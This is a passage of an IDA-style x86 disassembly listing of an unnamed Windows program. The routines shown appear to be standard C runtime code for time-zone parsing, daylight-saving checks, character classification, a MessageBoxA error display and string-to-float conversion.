XREF: sub_41F19D+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_4929F8, ebp mov dword_436528, ebx mov dword_436518, ebx call sub_4206A5 mov esi, eax pop ecx cmp esi, ebp jnz loc_41F2DB push offset dword_492A00 call ds:dword_495438 ; GetTimeZoneInformation cmp eax, ebx jz loc_41F40A mov eax, dword_492A00 mov ecx, dword_492A54 imul eax, 3Ch cmp word_492A46, bp push 1 pop edx mov dword_436480, eax mov dword_4929F8, edx jz short loc_41F229 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_436480, eax loc_41F229: ; CODE XREF: sub_41F1B2+69j cmp word_492A9A, bp jz short loc_41F24D mov eax, dword_492AA8 cmp eax, ebp jz short loc_41F24D sub eax, ecx mov dword_436484, edx imul eax, 3Ch mov dword_436488, eax jmp short loc_41F259 ; --------------------------------------------------------------------------- loc_41F24D: ; CODE XREF: sub_41F1B2+7Ej ; sub_41F1B2+87j mov dword_436484, ebp mov dword_436488, ebp loc_41F259: ; CODE XREF: sub_41F1B2+99j lea eax, [esp+14h+var_4] mov esi, ds:dword_4953E8 push eax push ebp push 3Fh mov edi, 220h push off_43650C push ebx push offset dword_492A04 push edi push dword_49289C call esi ; WideCharToMultiByte test eax, eax jz short loc_41F296 cmp [esp+14h+var_4], ebp jnz short loc_41F296 mov eax, off_43650C and byte ptr [eax+3Fh], 0 jmp short loc_41F29E ; --------------------------------------------------------------------------- loc_41F296: ; CODE XREF: sub_41F1B2+D1j ; sub_41F1B2+D7j mov eax, off_43650C and byte ptr [eax], 0 loc_41F29E: ; CODE XREF: sub_41F1B2+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_436510 push ebx push offset dword_492A58 push edi push dword_49289C call esi ; WideCharToMultiByte test eax, eax jz loc_41F402 cmp [esp+14h+var_4], ebp jnz loc_41F402 mov eax, off_436510 and byte ptr [eax+3Fh], 0 jmp loc_41F40A ; --------------------------------------------------------------------------- loc_41F2DB: ; CODE XREF: sub_41F1B2+2Dj cmp byte ptr [esi], 0 jz loc_41F40A mov eax, dword_492AAC cmp eax, ebp jz short loc_41F2FE push eax push esi call sub_416B70 pop ecx test eax, eax pop ecx jz loc_41F40A loc_41F2FE: ; CODE XREF: sub_41F1B2+139j push dword_492AAC call sub_415D6C push esi call sub_4158E0 inc eax push eax call sub_415CF8 add esp, 0Ch cmp eax, ebp mov dword_492AAC, eax jz loc_41F40A push esi push eax call sub_4175D0 push 3 push esi push off_43650C call sub_416A10 mov eax, off_43650C add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_41F353 push 1 inc esi pop edi loc_41F353: ; CODE XREF: sub_41F1B2+19Bj push esi call sub_416C44 pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_436480, ecx loc_41F36A: ; CODE XREF: sub_41F1B2+1C7j mov al, [esi] cmp al, 2Bh jz short loc_41F378 cmp al, bl jl short loc_41F37B cmp al, 39h jg short loc_41F37B loc_41F378: ; CODE XREF: sub_41F1B2+1BCj inc esi jmp short loc_41F36A ; --------------------------------------------------------------------------- loc_41F37B: ; CODE XREF: sub_41F1B2+1C0j ; sub_41F1B2+1C4j cmp byte ptr [esi], 3Ah jnz short loc_41F3CE inc esi push esi call sub_416C44 imul eax, 3Ch pop ecx mov ecx, dword_436480 add ecx, eax mov dword_436480, ecx loc_41F399: ; CODE XREF: sub_41F1B2+1F2j mov al, [esi] cmp al, bl jl short loc_41F3A6 cmp al, 39h jg short loc_41F3A6 inc esi jmp short loc_41F399 ; --------------------------------------------------------------------------- loc_41F3A6: ; CODE XREF: sub_41F1B2+1EBj ; sub_41F1B2+1EFj cmp byte ptr [esi], 3Ah jnz short loc_41F3CE inc esi push esi call sub_416C44 pop ecx mov ecx, dword_436480 add ecx, eax mov dword_436480, ecx loc_41F3C1: ; CODE XREF: sub_41F1B2+21Aj mov al, [esi] cmp al, bl jl short loc_41F3CE cmp al, 39h jg short loc_41F3CE inc esi jmp short loc_41F3C1 ; --------------------------------------------------------------------------- loc_41F3CE: ; CODE XREF: sub_41F1B2+1CCj ; sub_41F1B2+1F7j ... cmp edi, ebp jz short loc_41F3DA neg ecx mov dword_436480, ecx loc_41F3DA: ; CODE XREF: sub_41F1B2+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_436484, eax jz short loc_41F402 push 3 push esi push off_436510 call sub_416A10 mov eax, off_436510 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_41F40A ; --------------------------------------------------------------------------- loc_41F402: ; CODE XREF: sub_41F1B2+10Bj ; sub_41F1B2+115j ... mov eax, off_436510 and byte ptr [eax], 0 loc_41F40A: ; CODE XREF: sub_41F1B2+40j ; sub_41F1B2+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_41F1B2 endp ; =============== S U B R O U T I N E ======================================= sub_41F410 proc near ; CODE XREF: sub_41C623+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_436484, edi jnz short loc_41F424 loc_41F41D: ; CODE XREF: sub_41F410+148j ; sub_41F410+150j ... xor eax, eax jmp loc_41F570 ; --------------------------------------------------------------------------- loc_41F424: ; CODE XREF: sub_41F410+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_436518 jnz short loc_41F442 cmp eax, dword_436528 jz loc_41F544 loc_41F442: ; CODE XREF: sub_41F410+24j cmp dword_4929F8, edi jz loc_41F51A movzx ecx, word_492AA6 push ecx cmp word_492A98, di movzx ecx, word_492AA4 push ecx movzx ecx, word_492AA2 push ecx movzx ecx, word_492AA0 push ecx jnz short loc_41F494 movzx ecx, word_492A9C push edi push ecx movzx ecx, word_492A9E push ecx movzx ecx, word_492A9A push ecx push eax push ebx jmp short loc_41F4A8 ; --------------------------------------------------------------------------- loc_41F494: ; CODE XREF: sub_41F410+65j movzx ecx, word_492A9E push ecx push edi movzx ecx, word_492A9A push edi push ecx push eax push edi loc_41F4A8: ; CODE XREF: sub_41F410+82j push ebx call sub_41F5BC movzx eax, word_492A52 add esp, 2Ch cmp word_492A44, di push eax movzx eax, word_492A50 push eax movzx eax, word_492A4E push eax movzx eax, word_492A4C push eax jnz short loc_41F502 movzx eax, word_492A48 push edi push eax movzx eax, word_492A4A push eax movzx eax, word_492A46 push eax push dword ptr [esi+14h] push ebx loc_41F4F7: ; CODE XREF: sub_41F410+108j push edi call sub_41F5BC add esp, 2Ch jmp short loc_41F544 ; --------------------------------------------------------------------------- loc_41F502: ; CODE XREF: sub_41F410+C8j movzx eax, word_492A4A push eax push edi movzx eax, word_492A46 push edi push eax push dword ptr [esi+14h] push edi jmp short loc_41F4F7 ; --------------------------------------------------------------------------- loc_41F51A: ; CODE XREF: sub_41F410+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_41F5BC push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_41F5BC add esp, 58h loc_41F544: ; CODE XREF: sub_41F410+2Cj ; sub_41F410+F0j mov edx, dword_43651C mov eax, dword_43652C mov ecx, [esi+1Ch] cmp edx, eax jge short loc_41F574 cmp ecx, edx jl loc_41F41D cmp ecx, eax jg loc_41F41D cmp ecx, edx jle short loc_41F588 cmp ecx, eax jge short loc_41F588 loc_41F56E: ; CODE XREF: sub_41F410+166j ; sub_41F410+16Aj mov eax, ebx loc_41F570: ; CODE XREF: sub_41F410+Fj ; sub_41F410+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41F574: ; CODE XREF: sub_41F410+144j cmp ecx, eax jl short loc_41F56E cmp ecx, edx jg short loc_41F56E cmp ecx, eax jle short loc_41F588 cmp ecx, edx jl loc_41F41D loc_41F588: ; CODE XREF: sub_41F410+158j ; sub_41F410+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_41F5AF xor ecx, ecx cmp eax, dword_436520 setnl cl loc_41F5AB: ; CODE XREF: sub_41F410+1AAj mov eax, ecx jmp short loc_41F570 ; --------------------------------------------------------------------------- loc_41F5AF: ; CODE XREF: sub_41F410+18Ej xor ecx, ecx cmp eax, dword_436530 setl cl jmp short loc_41F5AB sub_41F410 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F5BC proc near ; CODE XREF: sub_41F410+99p ; sub_41F410+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_41F657 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_41F5E7 shl esi, 2 mov eax, dword_436530[esi] jmp short loc_41F5F0 ; --------------------------------------------------------------------------- loc_41F5E7: ; CODE XREF: sub_41F5BC+1Ej shl esi, 2 mov eax, dword_436564[esi] loc_41F5F0: ; CODE XREF: sub_41F5BC+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jge short loc_41F62A imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_41F634 ; --------------------------------------------------------------------------- loc_41F62A: ; CODE XREF: sub_41F5BC+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_41F634: ; CODE XREF: sub_41F5BC+6Cj cmp [ebp+arg_10], 5 jnz short loc_41F672 cmp [ebp+arg_8], 0 jnz short loc_41F648 mov esi, dword_436534[esi] jmp short loc_41F64E ; --------------------------------------------------------------------------- loc_41F648: ; CODE XREF: sub_41F5BC+82j mov esi, dword_436568[esi] loc_41F64E: ; CODE XREF: sub_41F5BC+8Aj cmp ecx, esi jle short loc_41F672 sub ecx, 7 jmp short loc_41F672 ; --------------------------------------------------------------------------- loc_41F657: ; CODE XREF: sub_41F5BC+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_41F668 mov ecx, dword_436530[eax*4] jmp short loc_41F66F ; --------------------------------------------------------------------------- loc_41F668: ; CODE XREF: sub_41F5BC+A1j mov ecx, dword_436564[eax*4] loc_41F66F: ; CODE XREF: sub_41F5BC+AAj add ecx, [ebp+arg_18] loc_41F672: ; CODE XREF: sub_41F5BC+7Cj ; sub_41F5BC+94j ... cmp [ebp+arg_0], 1 jnz short loc_41F6A3 mov eax, [ebp+arg_1C] mov dword_43651C, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_436518, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_436520, eax jmp short loc_41F6F8 ; --------------------------------------------------------------------------- loc_41F6A3: ; CODE XREF: sub_41F5BC+BAj mov eax, [ebp+arg_1C] mov dword_43652C, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_436488 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_436530, eax jns short loc_41F6DB add eax, 5265C00h dec ecx mov dword_436530, eax jmp short loc_41F6EC ; --------------------------------------------------------------------------- loc_41F6DB: ; CODE XREF: sub_41F5BC+110j mov edx, 5265C00h cmp eax, edx jl short loc_41F6F2 sub eax, edx inc ecx mov dword_436530, eax loc_41F6EC: ; CODE XREF: sub_41F5BC+11Dj mov dword_43652C, ecx loc_41F6F2: ; CODE XREF: sub_41F5BC+126j mov dword_436528, ebx loc_41F6F8: ; CODE XREF: sub_41F5BC+E5j pop esi pop ebx pop ebp retn sub_41F5BC endp ; --------------------------------------------------------------------------- push 1 push 0 push dword ptr [esp+0Ch] call sub_41F7D9 add esp, 0Ch retn ; --------------------------------------------------------------------------- push 3 push 0 push dword ptr [esp+0Ch] call sub_41F7D9 add esp, 0Ch retn ; --------------------------------------------------------------------------- push 2 push 0 push dword ptr [esp+0Ch] call sub_41F7D9 add esp, 0Ch retn ; --------------------------------------------------------------------------- push 1 push 107h push dword ptr [esp+0Ch] call sub_41F7D9 add esp, 0Ch retn ; --------------------------------------------------------------------------- push 1 push 103h push dword ptr [esp+0Ch] call sub_41F7D9 add esp, 0Ch retn ; --------------------------------------------------------------------------- push 3 push 117h push dword ptr [esp+0Ch] call sub_41F7D9 add esp, 0Ch retn ; --------------------------------------------------------------------------- push 3 push 157h push dword ptr [esp+0Ch] call sub_41F7D9 add esp, 0Ch retn ; --------------------------------------------------------------------------- push 2 push 10h push dword ptr [esp+0Ch] call sub_41F7D9 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_41F790 proc near ; CODE XREF: sub_41D1EE+2Bp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_41F7D9 add esp, 0Ch retn sub_41F790 endp ; --------------------------------------------------------------------------- push 8 push 0 push dword ptr [esp+0Ch] call sub_41F7D9 add esp, 0Ch retn ; --------------------------------------------------------------------------- cmp dword_493FA0, 3A4h jnz short loc_41F7D6 push 3 push 0 push dword ptr [esp+0Ch] call sub_41F7D9 add esp, 0Ch test eax, eax jz short loc_41F7D6 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41F7D6: ; CODE XREF: .text:0041F7BCj ; .text:0041F7D0j xor eax, eax retn ; =============== S U B R O U T I N E ======================================= sub_41F7D9 proc near ; CODE XREF: .text:0041F704p ; .text:0041F715p ... arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_494141[eax], cl jnz short loc_41F806 cmp [esp+arg_4], 0 jz short loc_41F7FF movzx eax, word_435C36[eax*2] and eax, [esp+arg_4] jmp short loc_41F801 ; --------------------------------------------------------------------------- loc_41F7FF: ; CODE XREF: sub_41F7D9+16j xor eax, eax loc_41F801: ; CODE XREF: sub_41F7D9+24j test eax, eax jnz short loc_41F806 retn ; --------------------------------------------------------------------------- loc_41F806: ; CODE XREF: sub_41F7D9+Fj ; sub_41F7D9+2Aj push 1 pop eax retn sub_41F7D9 endp ; =============== S U B R O U T I N E ======================================= sub_41F80A proc near ; CODE XREF: sub_41D965+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_492AB4, ebx push esi push edi jnz short loc_41F859 push offset aUser32_dll ; "user32.dll" call ds:dword_4953C0 ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_41F88F mov esi, ds:dword_4953C4 push offset aMessageboxa ; "MessageBoxA" push edi call esi ; GetProcAddress test eax, eax mov dword_492AB4, eax jz short loc_41F88F push offset aGetactivewindo ; "GetActiveWindow" push edi call esi ; GetProcAddress push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_492AB8, eax call esi ; GetProcAddress mov dword_492ABC, eax loc_41F859: ; CODE XREF: sub_41F80A+Bj mov eax, dword_492AB8 test eax, eax jz short loc_41F878 call eax mov ebx, eax test ebx, ebx jz short loc_41F878 mov eax, dword_492ABC test eax, eax jz short loc_41F878 push ebx call eax mov ebx, eax loc_41F878: ; CODE XREF: sub_41F80A+56j ; sub_41F80A+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_492AB4 loc_41F88B: ; CODE XREF: sub_41F80A+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41F88F: ; CODE XREF: sub_41F80A+1Cj ; sub_41F80A+33j xor eax, eax jmp short loc_41F88B sub_41F80A endp ; =============== S U B R O U T I N E ======================================= sub_41F893 proc near ; CODE XREF: sub_41DD85+2Bp ; sub_41DD85+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_41F8A9 cmp ecx, esi jnb short loc_41F8AC loc_41F8A9: ; CODE XREF: sub_41F893+10j push 1 pop eax loc_41F8AC: ; CODE XREF: sub_41F893+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_41F893 endp ; =============== S U B R O U T I N E ======================================= sub_41F8B4 proc near ; CODE XREF: sub_41F96D+40p ; sub_41F96D+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_41F893 add esp, 0Ch test eax, eax jz short loc_41F8E6 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_41F893 add esp, 0Ch test eax, eax jz short loc_41F8E6 inc dword ptr [esi+8] loc_41F8E6: ; CODE XREF: sub_41F8B4+19j ; sub_41F8B4+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_41F893 add esp, 0Ch test eax, eax jz short loc_41F8FE inc dword ptr [esi+8] loc_41F8FE: ; CODE XREF: sub_41F8B4+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_41F893 add esp, 0Ch pop edi pop esi retn sub_41F8B4 endp ; =============== S U B R O U T I N E ======================================= sub_41F912 proc near ; CODE XREF: sub_41F96D+30p ; sub_41F96D+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_41F912 endp ; =============== S U B R O U T I N E ======================================= sub_41F940 proc near ; CODE XREF: sub_41FF41+1C8p ; sub_420722+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_41F940 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F96D proc near ; CODE XREF: sub_41FA34+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_41F9E1 push edi mov [ebp+arg_8], eax loc_41F994: ; CODE XREF: sub_41F96D+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_41F912 push ebx call sub_41F912 lea eax, [ebp+var_10] push eax push ebx call sub_41F8B4 push ebx call sub_41F912 mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_41F8B4 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_41F994 xor edx, edx pop edi loc_41F9E1: ; CODE XREF: sub_41F96D+21j ; sub_41F96D+9Fj cmp [ebx+8], edx jnz short loc_41FA0E mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_41F9E1 ; --------------------------------------------------------------------------- loc_41FA0E: ; CODE XREF: sub_41F96D+77j mov esi, 8000h loc_41FA13: ; CODE XREF: sub_41F96D+B9j test [ebx+8], esi jnz short loc_41FA28 push ebx call sub_41F912 add [ebp+var_4], 0FFFFh pop ecx jmp short loc_41FA13 ; --------------------------------------------------------------------------- loc_41FA28: ; CODE XREF: sub_41F96D+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_41F96D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FA34 proc near ; CODE XREF: sub_41E148+17p ; .text:0041E18Dp ... var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_41FA6F: ; CODE XREF: sub_41FA34+52j mov cl, [edi] cmp cl, 20h jz short loc_41FA85 cmp cl, 9 jz short loc_41FA85 cmp cl, 0Ah jz short loc_41FA85 cmp cl, 0Dh jnz short loc_41FA88 loc_41FA85: ; CODE XREF: sub_41FA34+40j ; sub_41FA34+45j ... inc edi jmp short loc_41FA6F ; --------------------------------------------------------------------------- loc_41FA88: ; CODE XREF: sub_41FA34+4Fj push 4 pop esi loc_41FA8B: ; CODE XREF: sub_41FA34+AEj ; sub_41FA34+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_41FD0E ; default ; jumptable 0041FA97 case 10 jmp ds:off_41FED5[eax*4] ; switch jump loc_41FA9E: ; DATA XREF: .text:off_41FED5o cmp bl, 31h ; jumptable 0041FA97 case 0 jl short loc_41FAAF cmp bl, 39h jg short loc_41FAAF loc_41FAA8: ; CODE XREF: sub_41FA34+C4j ; sub_41FA34+118j push 3 jmp loc_41FCCC ; --------------------------------------------------------------------------- loc_41FAAF: ; CODE XREF: sub_41FA34+6Dj ; sub_41FA34+72j cmp bl, byte_435E3C jnz short loc_41FABE loc_41FAB7: ; CODE XREF: sub_41FA34+124j push 5 jmp loc_41FD04 ; --------------------------------------------------------------------------- loc_41FABE: ; CODE XREF: sub_41FA34+81j movsx eax, bl sub eax, 2Bh jz short loc_41FAE4 dec eax dec eax jz short loc_41FAD8 sub eax, 3 jnz loc_41FDA7 jmp loc_41FB67 ; --------------------------------------------------------------------------- loc_41FAD8: ; CODE XREF: sub_41FA34+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_41FA8B ; --------------------------------------------------------------------------- loc_41FAE4: ; CODE XREF: sub_41FA34+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_41FA8B ; --------------------------------------------------------------------------- loc_41FAED: ; CODE XREF: sub_41FA34+63j ; DATA XREF: .text:off_41FED5o cmp bl, 31h ; jumptable 0041FA97 case 1 mov [ebp+var_10], edx jl short loc_41FAFA cmp bl, 39h jle short loc_41FAA8 loc_41FAFA: ; CODE XREF: sub_41FA34+BFj cmp bl, byte_435E3C jz loc_41FBC2 cmp bl, 2Bh jz short loc_41FB3C cmp bl, 2Dh jz short loc_41FB3C cmp bl, 30h jz short loc_41FB67 loc_41FB15: ; CODE XREF: sub_41FA34+207j cmp bl, 43h jle loc_41FDA7 cmp bl, 45h jle short loc_41FB35 cmp bl, 63h jle loc_41FDA7 cmp bl, 65h jg loc_41FDA7 loc_41FB35: ; CODE XREF: sub_41FA34+EDj push 6 jmp loc_41FD04 ; --------------------------------------------------------------------------- loc_41FB3C: ; CODE XREF: sub_41FA34+D5j ; sub_41FA34+DAj ... dec edi push 0Bh jmp loc_41FD04 ; --------------------------------------------------------------------------- loc_41FB44: ; CODE XREF: sub_41FA34+63j ; DATA XREF: .text:off_41FED5o cmp bl, 31h ; jumptable 0041FA97 case 2 jl short loc_41FB52 cmp bl, 39h jle loc_41FAA8 loc_41FB52: ; CODE XREF: sub_41FA34+113j cmp bl, byte_435E3C jz loc_41FAB7 cmp bl, 30h jnz loc_41FD1C loc_41FB67: ; CODE XREF: sub_41FA34+9Fj ; sub_41FA34+DFj mov eax, edx jmp loc_41FA8B ; --------------------------------------------------------------------------- loc_41FB6E: ; CODE XREF: sub_41FA34+63j ; DATA XREF: .text:off_41FED5o mov [ebp+var_10], edx ; jumptable 0041FA97 case 3 loc_41FB71: ; CODE XREF: sub_41FA34+184j cmp dword_435E38, edx jle short loc_41FB8A movzx eax, bl push esi push eax call sub_41BDD1 pop ecx pop ecx push 1 pop edx jmp short loc_41FB98 ; --------------------------------------------------------------------------- loc_41FB8A: ; CODE XREF: sub_41FA34+143j mov ecx, off_435C2C movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_41FB98: ; CODE XREF: sub_41FA34+154j test eax, eax jz short loc_41FBBA cmp [ebp+var_4], 19h jnb short loc_41FBB2 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_41FBB5 ; --------------------------------------------------------------------------- loc_41FBB2: ; CODE XREF: sub_41FA34+16Cj inc [ebp+var_8] loc_41FBB5: ; CODE XREF: sub_41FA34+17Cj mov bl, [edi] inc edi jmp short loc_41FB71 ; --------------------------------------------------------------------------- loc_41FBBA: ; CODE XREF: sub_41FA34+166j cmp bl, byte_435E3C jnz short loc_41FC29 loc_41FBC2: ; CODE XREF: sub_41FA34+CCj mov eax, esi jmp loc_41FA8B ; --------------------------------------------------------------------------- loc_41FBC9: ; CODE XREF: sub_41FA34+63j ; DATA XREF: .text:off_41FED5o cmp [ebp+var_4], 0 ; jumptable 0041FA97 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_41FBE2 loc_41FBD5: ; CODE XREF: sub_41FA34+1ACj cmp bl, 30h jnz short loc_41FBE2 dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_41FBD5 ; --------------------------------------------------------------------------- loc_41FBE2: ; CODE XREF: sub_41FA34+19Fj ; sub_41FA34+1A4j ... cmp dword_435E38, edx jle short loc_41FBFB movzx eax, bl push esi push eax call sub_41BDD1 pop ecx pop ecx push 1 pop edx jmp short loc_41FC09 ; --------------------------------------------------------------------------- loc_41FBFB: ; CODE XREF: sub_41FA34+1B4j mov ecx, off_435C2C movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_41FC09: ; CODE XREF: sub_41FA34+1C5j test eax, eax jz short loc_41FC29 cmp [ebp+var_4], 19h jnb short loc_41FC24 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_41FC24: ; CODE XREF: sub_41FA34+1DDj mov bl, [edi] inc edi jmp short loc_41FBE2 ; --------------------------------------------------------------------------- loc_41FC29: ; CODE XREF: sub_41FA34+18Cj ; sub_41FA34+1D7j cmp bl, 2Bh jz loc_41FB3C cmp bl, 2Dh jz loc_41FB3C jmp loc_41FB15 ; --------------------------------------------------------------------------- loc_41FC40: ; CODE XREF: sub_41FA34+63j ; DATA XREF: .text:off_41FED5o cmp dword_435E38, edx ; jumptable 0041FA97 case 5 mov [ebp+var_24], edx jle short loc_41FC5C movzx eax, bl push esi push eax call sub_41BDD1 pop ecx pop ecx push 1 pop edx jmp short loc_41FC6A ; --------------------------------------------------------------------------- loc_41FC5C: ; CODE XREF: sub_41FA34+215j mov ecx, off_435C2C movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_41FC6A: ; CODE XREF: sub_41FA34+226j test eax, eax jz loc_41FD1C mov eax, esi jmp short loc_41FCCD ; --------------------------------------------------------------------------- loc_41FC76: ; CODE XREF: sub_41FA34+63j ; DATA XREF: .text:off_41FED5o lea ecx, [edi-2] ; jumptable 0041FA97 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_41FC86 cmp bl, 39h jle short loc_41FCCA loc_41FC86: ; CODE XREF: sub_41FA34+24Bj movsx eax, bl sub eax, 2Bh jz short loc_41FD02 dec eax dec eax jz short loc_41FCF6 sub eax, 3 jnz loc_41FDAA loc_41FC9B: ; CODE XREF: sub_41FA34+2A4j push 8 jmp short loc_41FD04 ; --------------------------------------------------------------------------- loc_41FC9F: ; CODE XREF: sub_41FA34+63j ; DATA XREF: .text:off_41FED5o mov [ebp+var_20], edx ; jumptable 0041FA97 case 8 loc_41FCA2: ; CODE XREF: sub_41FA34+276j cmp bl, 30h jnz short loc_41FCAC mov bl, [edi] inc edi jmp short loc_41FCA2 ; --------------------------------------------------------------------------- loc_41FCAC: ; CODE XREF: sub_41FA34+271j cmp bl, 31h jl loc_41FDA7 cmp bl, 